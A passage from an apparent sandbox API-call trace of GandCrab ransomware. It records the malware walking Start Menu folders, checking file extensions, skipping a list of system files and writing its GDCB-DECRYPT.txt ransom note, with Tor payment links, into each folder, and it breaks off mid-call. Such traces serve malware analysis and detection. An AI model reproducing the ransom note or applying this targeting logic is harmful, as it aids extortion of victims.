lstrcmpW (lpString1="Startup", lpString2=".") returned 1 [0054.961] lstrcmpW (lpString1="Startup", lpString2="..") returned 1 [0054.961] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\", lpString2="Startup" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup" [0054.961] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\" [0054.961] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.961] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0054.961] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0054.961] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0054.961] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0054.961] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.961] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\") returned 84 [0054.961] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\*" [0054.961] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\*", lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 0x5b8670 [0054.961] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.961] FindNextFileW (in: hFindFile=0x5b8670, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0054.962] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.962] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.962] FindNextFileW (in: hFindFile=0x5b8670, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0054.962] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0054.962] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0054.962] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\", lpString2="desktop.ini" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\desktop.ini") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\desktop.ini" [0054.962] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\desktop.ini") returned 95 [0054.962] lstrcmpW (lpString1=".ini", lpString2=".sql") returned -1 [0054.962] FindNextFileW (in: hFindFile=0x5b8670, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0054.962] lstrcmpW (lpString1="Send to OneNote.lnk", lpString2=".") returned 1 [0054.962] lstrcmpW (lpString1="Send to OneNote.lnk", lpString2="..") returned 1 [0054.962] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\", lpString2="Send to OneNote.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\Send to OneNote.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\Send to OneNote.lnk" [0054.962] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\Send to OneNote.lnk") returned 103 [0054.962] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.962] FindNextFileW (in: hFindFile=0x5b8670, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 0 [0054.962] FindClose (in: hFindFile=0x5b8670 | out: hFindFile=0x5b8670) returned 1 [0054.962] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.962] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\\\GDCB-DECRYPT.txt") returned 101 [0054.962] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x504 [0054.963] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0054.963] WriteFile (in: hFile=0x504, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285e5dc, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285e5dc*=0xad6, lpOverlapped=0x0) returned 1 [0054.963] CloseHandle (hObject=0x504) returned 1 [0054.964] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.964] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\") returned 84 [0054.964] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\*" [0054.964] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\*", lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 0x5b8670 [0054.964] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.964] FindNextFileW (in: hFindFile=0x5b8670, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0054.964] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.964] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.964] FindNextFileW (in: hFindFile=0x5b8670, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0054.964] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0054.964] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0054.964] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\", lpString2="desktop.ini" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\desktop.ini") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\desktop.ini" [0054.964] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.965] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\desktop.ini") returned 95 [0054.965] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\desktop.ini") returned 95 [0054.965] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\desktop.ini") returned 95 [0054.965] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\desktop.ini") returned 95 [0054.965] lstrcmpiW (lpString1="desktop.ini", lpString2="desktop.ini") returned 0 [0054.965] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.965] FindNextFileW (in: hFindFile=0x5b8670, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0054.965] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0054.965] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0054.965] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\GDCB-DECRYPT.txt" [0054.965] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.965] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\GDCB-DECRYPT.txt") returned 100 [0054.965] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\GDCB-DECRYPT.txt") returned 100 [0054.965] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\GDCB-DECRYPT.txt") returned 100 [0054.965] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\GDCB-DECRYPT.txt") returned 100 [0054.965] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0054.965] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0054.965] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0054.965] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0054.965] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0054.965] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0054.965] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0054.965] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0054.965] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0054.965] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.965] FindNextFileW (in: hFindFile=0x5b8670, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0054.965] lstrcmpW (lpString1="Send to OneNote.lnk", lpString2=".") returned 1 [0054.965] lstrcmpW (lpString1="Send to OneNote.lnk", lpString2="..") returned 1 [0054.965] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\", lpString2="Send to OneNote.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\Send to OneNote.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\Send to OneNote.lnk" [0054.966] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.966] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\Send to OneNote.lnk") returned 103 [0054.966] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\Send to OneNote.lnk") returned 103 [0054.966] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.966] FindNextFileW (in: hFindFile=0x5b8670, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 0 [0054.966] FindClose (in: hFindFile=0x5b8670 | out: hFindFile=0x5b8670) returned 1 [0054.966] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0054.966] lstrcmpW (lpString1="System Tools", lpString2=".") returned 1 [0054.966] lstrcmpW (lpString1="System Tools", lpString2="..") returned 1 [0054.966] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\", lpString2="System Tools" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools" [0054.966] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\" [0054.966] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.967] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0054.967] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0054.967] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0054.967] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0054.967] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.967] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\") returned 89 [0054.967] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\*" [0054.967] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\*", lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 0x5b8670 [0054.967] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.967] FindNextFileW (in: hFindFile=0x5b8670, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0054.967] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.967] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.967] FindNextFileW (in: hFindFile=0x5b8670, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0054.967] lstrcmpW (lpString1="Command Prompt.lnk", lpString2=".") returned 1 [0054.967] lstrcmpW (lpString1="Command Prompt.lnk", lpString2="..") returned 1 [0054.967] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\", lpString2="Command Prompt.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Command Prompt.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Command Prompt.lnk" [0054.967] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Command Prompt.lnk") returned 107 [0054.967] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.967] FindNextFileW (in: hFindFile=0x5b8670, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0054.967] lstrcmpW (lpString1="computer.lnk", lpString2=".") returned 1 [0054.967] lstrcmpW (lpString1="computer.lnk", lpString2="..") returned 1 [0054.967] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\", lpString2="computer.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\computer.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\computer.lnk" [0054.967] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\computer.lnk") returned 101 [0054.967] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.967] FindNextFileW (in: hFindFile=0x5b8670, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0054.967] lstrcmpW (lpString1="Control Panel.lnk", lpString2=".") returned 1 [0054.967] lstrcmpW (lpString1="Control Panel.lnk", lpString2="..") returned 1 [0054.967] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\", lpString2="Control Panel.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Control Panel.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Control Panel.lnk" [0054.967] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Control Panel.lnk") returned 106 [0054.967] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.967] FindNextFileW (in: hFindFile=0x5b8670, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0054.967] lstrcmpW (lpString1="Default Apps.lnk", lpString2=".") returned 1 [0054.967] lstrcmpW (lpString1="Default Apps.lnk", lpString2="..") returned 1 [0054.967] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\", lpString2="Default Apps.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Default Apps.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Default Apps.lnk" [0054.967] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Default Apps.lnk") returned 105 [0054.967] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.967] FindNextFileW (in: hFindFile=0x5b8670, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0054.967] lstrcmpW (lpString1="Desktop.ini", lpString2=".") returned 1 [0054.967] lstrcmpW (lpString1="Desktop.ini", lpString2="..") returned 1 [0054.967] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\", lpString2="Desktop.ini" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Desktop.ini") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Desktop.ini" [0054.967] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Desktop.ini") returned 100 [0054.967] lstrcmpW (lpString1=".ini", lpString2=".sql") returned -1 [0054.968] FindNextFileW (in: hFindFile=0x5b8670, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0054.968] lstrcmpW (lpString1="Devices.lnk", lpString2=".") returned 1 [0054.968] lstrcmpW (lpString1="Devices.lnk", lpString2="..") returned 1 [0054.968] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\", lpString2="Devices.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Devices.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Devices.lnk" [0054.968] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Devices.lnk") returned 100 [0054.968] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.968] FindNextFileW (in: hFindFile=0x5b8670, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0054.968] lstrcmpW (lpString1="File Explorer.lnk", lpString2=".") returned 1 [0054.968] lstrcmpW (lpString1="File Explorer.lnk", lpString2="..") returned 1 [0054.968] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\", lpString2="File Explorer.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\File Explorer.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\File Explorer.lnk" [0054.968] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\File Explorer.lnk") returned 106 [0054.968] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.968] FindNextFileW (in: hFindFile=0x5b8670, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0054.968] lstrcmpW (lpString1="Run.lnk", lpString2=".") returned 1 [0054.968] lstrcmpW (lpString1="Run.lnk", lpString2="..") returned 1 [0054.968] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\", lpString2="Run.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Run.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Run.lnk" [0054.968] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Run.lnk") returned 96 [0054.968] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.968] FindNextFileW (in: hFindFile=0x5b8670, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0054.968] lstrcmpW (lpString1="Windows Defender.lnk", lpString2=".") returned 1 [0054.968] lstrcmpW (lpString1="Windows Defender.lnk", lpString2="..") returned 1 [0054.968] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\", lpString2="Windows Defender.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Windows Defender.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Windows Defender.lnk" [0054.968] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Windows Defender.lnk") returned 109 [0054.968] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.968] FindNextFileW (in: hFindFile=0x5b8670, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 0 [0054.968] FindClose (in: hFindFile=0x5b8670 | out: hFindFile=0x5b8670) returned 1 [0054.968] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.968] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\\\GDCB-DECRYPT.txt") returned 106 [0054.968] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\system tools\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, 